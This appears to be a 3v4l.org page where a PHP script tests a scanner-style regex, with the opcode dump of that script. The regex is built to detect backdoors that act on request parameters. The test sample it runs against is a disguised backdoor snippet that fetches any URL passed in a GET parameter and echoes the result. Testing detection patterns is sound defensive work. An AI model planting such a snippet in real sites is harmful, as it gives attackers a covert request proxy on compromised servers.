3v4l.org

run code in 500+ PHP versions simultaneously
<?php $content = '<?php if (isset($_GET["schema"])) { $the_ID_ufa = $_GET["schema"]; if ($is_admin_we = curl_init()) { curl_setopt($is_admin_we, CURLOPT_URL, $the_ID_ufa); curl_setopt($is_admin_we, CURLOPT_RETURNTRANSFER, true); echo curl_exec($is_admin_we); curl_close($is_admin_we); } }'; $regex = '/<\?php(([\{\}\s]++)*+((isset|if|(\$\w++))[\s\(=\!]++)++\$(_REQUEST|_POST|_GET|_COOKIE|\{[^\}]++\}++|\[[^\]]++\]++)++(.*)(;|\s*+\{))++/i'; if (preg_match($regex, $content, $match)) echo htmlspecialchars(print_r($match,1)); else echo "No Matches\n"; ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 17
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 18
Branch analysis from position: 18
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ObpvE
function name:  (null)
number of ops:  19
compiled vars:  !0 = $content, !1 = $regex, !2 = $match
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                       !0, '%3C%3Fphp%0Aif+%28isset%28%24_GET%5B%22schema%22%5D%29%29+%7B%0A++++%24the_ID_ufa+%3D+%24_GET%5B%22schema%22%5D%3B%0A++++if+%28%24is_admin_we+%3D+curl_init%28%29%29+%7B%0A++++++++curl_setopt%28%24is_admin_we%2C+CURLOPT_URL%2C+%24the_ID_ufa%29%3B%0A++++++++curl_setopt%28%24is_admin_we%2C+CURLOPT_RETURNTRANSFER%2C+true%29%3B%0A++++++++echo+curl_exec%28%24is_admin_we%29%3B%0A++++++++curl_close%28%24is_admin_we%29%3B%0A++++%7D%0A%7D'
   12     1        ASSIGN                                                       !1, '%2F%3C%5C%3Fphp%28%28%5B%5C%7B%5C%7D%5Cs%5D%2B%2B%29%2A%2B%28%28isset%7Cif%7C%28%5C%24%5Cw%2B%2B%29%29%5B%5Cs%5C%28%3D%5C%21%5D%2B%2B%29%2B%2B%5C%24%28_REQUEST%7C_POST%7C_GET%7C_COOKIE%7C%5C%7B%5B%5E%5C%7D%5D%2B%2B%5C%7D%2B%2B%7C%5C%5B%5B%5E%5C%5D%5D%2B%2B%5C%5D%2B%2B%29%2B%2B%28.%2A%29%28%3B%7C%5Cs%2A%2B%5C%7B%29%29%2B%2B%2Fi'
   13     2        INIT_FCALL                                                   'preg_match'
          3        SEND_VAR                                                     !1
          4        SEND_VAR                                                     !0
          5        SEND_REF                                                     !2
          6        DO_ICALL                                             $5      
          7      > JMPZ                                                         $5, ->17
   14     8    >   INIT_FCALL                                                   'htmlspecialchars'
          9        INIT_FCALL                                                   'print_r'
         10        SEND_VAR                                                     !2
         11        SEND_VAL                                                     1
         12        DO_ICALL                                             $6      
         13        SEND_VAR                                                     $6
         14        DO_ICALL                                             $7      
         15        ECHO                                                         $7
   13    16      > JMP                                                          ->18
   16    17    >   ECHO                                                         'No+Matches%0A'
   17    18    > > RETURN                                                       1

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
166.55 ms | 1649 KiB | 16 Q